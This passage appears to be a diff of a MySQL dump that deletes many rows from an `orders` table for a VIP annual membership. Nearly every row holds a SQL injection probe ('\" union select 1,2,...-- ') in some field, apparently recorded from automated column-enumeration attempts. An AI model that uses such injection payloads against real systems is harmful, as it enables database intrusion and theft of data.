1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.143', '2026-03-05 04:30:08.143', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008416261', 'MP20260305123008416261', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.804', '2026-03-05 04:30:08.804', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008456919', 'MP20260305123008456919', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.036', '2026-03-05 04:30:08.036', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008457918', 'MP20260305123008457918', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.247', '2026-03-05 04:30:08.247', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008538041', 'MP20260305123008538041', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.496', '2026-03-05 04:30:08.496', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008570498', 'MP20260305123008570498', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.859', '2026-03-05 04:30:08.859', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008666879', 'MP20260305123008666879', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.194', '2026-03-05 04:30:08.194', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008672637', 'MP20260305123008672637', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.549', '2026-03-05 04:30:08.549', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008708671', 'MP20260305123008708671', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.091', '2026-03-05 04:30:08.091', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008880243', 'MP20260305123008880243', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.388', '2026-03-05 04:30:08.388', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008888742', 'MP20260305123008888742', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.607', '2026-03-05 04:30:08.607', NULL); -INSERT INTO `orders` VALUES ('MP20260305123008989217', 'MP20260305123008989217', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:08.301', '2026-03-05 04:30:08.301', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009160533', 'MP20260305123009160533', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.439', '2026-03-05 04:30:09.439', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009376281', 'MP20260305123009376281', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.808', '2026-03-05 04:30:09.808', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009506912', 'MP20260305123009506912', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.494', '2026-03-05 04:30:09.494', NULL); -INSERT INTO `orders` VALUES ('MP20260305123009790991', 'MP20260305123009790991', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:09.208', '2026-03-05 04:30:09.208', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010241042', 'MP20260305123010241042', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.670', '2026-03-05 04:30:10.670', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010331449', 'MP20260305123010331449', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.499', '2026-03-05 04:30:10.499', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010492445', 'MP20260305123010492445', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.286', '2026-03-05 04:30:10.286', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010544802', 'MP20260305123010544802', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.080', '2026-03-05 04:30:10.080', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010662741', 'MP20260305123010662741', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.233', '2026-03-05 04:30:10.233', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010818803', 'MP20260305123010818803', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.999', '2026-03-05 04:30:10.999', NULL); -INSERT INTO `orders` VALUES ('MP20260305123010917769', 'MP20260305123010917769', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:10.025', '2026-03-05 04:30:10.025', NULL); -INSERT INTO `orders` VALUES ('MP20260305123011081353', 'MP20260305123011081353', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:11.142', '2026-03-05 04:30:11.142', NULL); -INSERT INTO `orders` VALUES ('MP20260305123011821206', 'MP20260305123011821206', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:11.303', '2026-03-05 04:30:11.303', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012177476', 'MP20260305123012177476', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.513', '2026-03-05 04:30:12.513', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012432300', 'MP20260305123012432300', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.231', '2026-03-05 04:30:12.231', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012442270', 'MP20260305123012442270', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.128', '2026-03-05 04:30:12.128', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012477849', 'MP20260305123012477849', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.338', '2026-03-05 04:30:12.338', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012500187', 'MP20260305123012500187', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.183', '2026-03-05 04:30:12.183', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012592382', 'MP20260305123012592382', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.287', '2026-03-05 04:30:12.287', NULL); -INSERT INTO `orders` VALUES ('MP20260305123012689006', 'MP20260305123012689006', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:12.763', '2026-03-05 04:30:12.763', NULL); -INSERT INTO `orders` VALUES ('MP20260305123013665320', 'MP20260305123013665320', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:13.214', '2026-03-05 04:30:13.214', NULL); -INSERT INTO `orders` VALUES ('MP20260305123013694864', 'MP20260305123013694864', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:13.018', '2026-03-05 04:30:13.018', NULL); -INSERT INTO `orders` VALUES ('MP20260305123013941093', 'MP20260305123013941093', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:13.390', '2026-03-05 04:30:13.390', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014012532', 'MP20260305123014012532', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.305', '2026-03-05 04:30:14.305', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014047621', 'MP20260305123014047621', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.485', '2026-03-05 04:30:14.485', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014071324', 'MP20260305123014071324', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.982', '2026-03-05 04:30:14.982', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014260555', 'MP20260305123014260555', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.154', '2026-03-05 04:30:14.154', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014333004', 'MP20260305123014333004', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.094', '2026-03-05 04:30:14.094', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014397721', 'MP20260305123014397721', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.257', '2026-03-05 04:30:14.257', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014891724', 'MP20260305123014891724', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.765', '2026-03-05 04:30:14.765', NULL); -INSERT INTO `orders` VALUES ('MP20260305123014919206', 'MP20260305123014919206', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:14.207', '2026-03-05 04:30:14.207', NULL); -INSERT INTO `orders` VALUES ('MP20260305123015942138', 'MP20260305123015942138', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:15.408', '2026-03-05 04:30:15.408', NULL); -INSERT INTO `orders` VALUES ('MP20260305123015975334', 'MP20260305123015975334', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\" union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:15.228', '2026-03-05 04:30:15.228', NULL); -INSERT INTO `orders` VALUES ('MP20260305123016309070', 'MP20260305123016309070', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:16.919', '2026-03-05 04:30:16.919', NULL); -INSERT INTO `orders` VALUES ('MP20260305123016391725', 'MP20260305123016391725', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:16.968', '2026-03-05 04:30:16.968', NULL); -INSERT INTO `orders` VALUES ('MP20260305123016732830', 'MP20260305123016732830', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:16.870', '2026-03-05 04:30:16.870', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017059205', 'MP20260305123017059205', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.018', '2026-03-05 04:30:17.018', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017156271', 'MP20260305123017156271', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.183', '2026-03-05 04:30:17.183', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017215573', 'MP20260305123017215573', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.239', '2026-03-05 04:30:17.239', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017233990', 'MP20260305123017233990', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.300', '2026-03-05 04:30:17.300', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017524080', 'MP20260305123017524080', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.581', '2026-03-05 04:30:17.581', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017746310', 'MP20260305123017746310', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.129', '2026-03-05 04:30:17.129', NULL); -INSERT INTO `orders` VALUES ('MP20260305123017752372', 'MP20260305123017752372', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\" union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:17.074', '2026-03-05 04:30:17.074', NULL); -INSERT INTO `orders` VALUES ('MP20260305123025023987', 'MP20260305123025023987', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:25.546', '2026-03-05 04:30:25.546', NULL); -INSERT INTO `orders` VALUES ('MP20260305123025605791', 'MP20260305123025605791', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:25.926', '2026-03-05 04:30:25.926', NULL); -INSERT INTO `orders` VALUES ('MP20260305123025810702', 'MP20260305123025810702', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:25.722', '2026-03-05 04:30:25.722', NULL); -INSERT INTO `orders` VALUES ('MP20260305123026387124', 'MP20260305123026387124', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:26.144', '2026-03-05 04:30:26.144', NULL); -INSERT INTO `orders` VALUES ('MP20260305123026550012', 'MP20260305123026550012', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:26.398', '2026-03-05 04:30:26.398', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027018337', 'MP20260305123027018337', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.707', '2026-03-05 04:30:27.707', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027187511', 'MP20260305123027187511', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.400', '2026-03-05 04:30:27.400', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027202472', 'MP20260305123027202472', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.294', '2026-03-05 04:30:27.294', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027232917', 'MP20260305123027232917', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.347', '2026-03-05 04:30:27.347', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027350463', 'MP20260305123027350463', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.237', '2026-03-05 04:30:27.237', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027721068', 'MP20260305123027721068', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.975', '2026-03-05 04:30:27.975', NULL); -INSERT INTO `orders` VALUES ('MP20260305123027817088', 'MP20260305123027817088', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:27.654', '2026-03-05 04:30:27.654', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028633207', 'MP20260305123028633207', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.525', '2026-03-05 04:30:28.525', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028645587', 'MP20260305123028645587', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.968', '2026-03-05 04:30:28.968', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028867453', 'MP20260305123028867453', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.801', '2026-03-05 04:30:28.801', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028921663', 'MP20260305123028921663', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.578', '2026-03-05 04:30:28.578', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028951520', 'MP20260305123028951520', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.750', '2026-03-05 04:30:28.750', NULL); -INSERT INTO `orders` VALUES ('MP20260305123028968278', 'MP20260305123028968278', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\" union select 1,2,3,4,5,6,7,8-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:28.171', '2026-03-05 04:30:28.171', NULL); -INSERT INTO `orders` VALUES ('MP20260305123029617319', 'MP20260305123029617319', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7,8,9,10-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:29.403', '2026-03-05 04:30:29.403', NULL); -INSERT INTO `orders` VALUES ('MP20260305123029834276', 'MP20260305123029834276', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\" union select 1,2,3,4,5,6,7,8,9-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:30:29.225', '2026-03-05 04:30:29.225', NULL); -INSERT INTO `orders` VALUES ('MP20260305123034006695', 'MP20260305123034006695', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 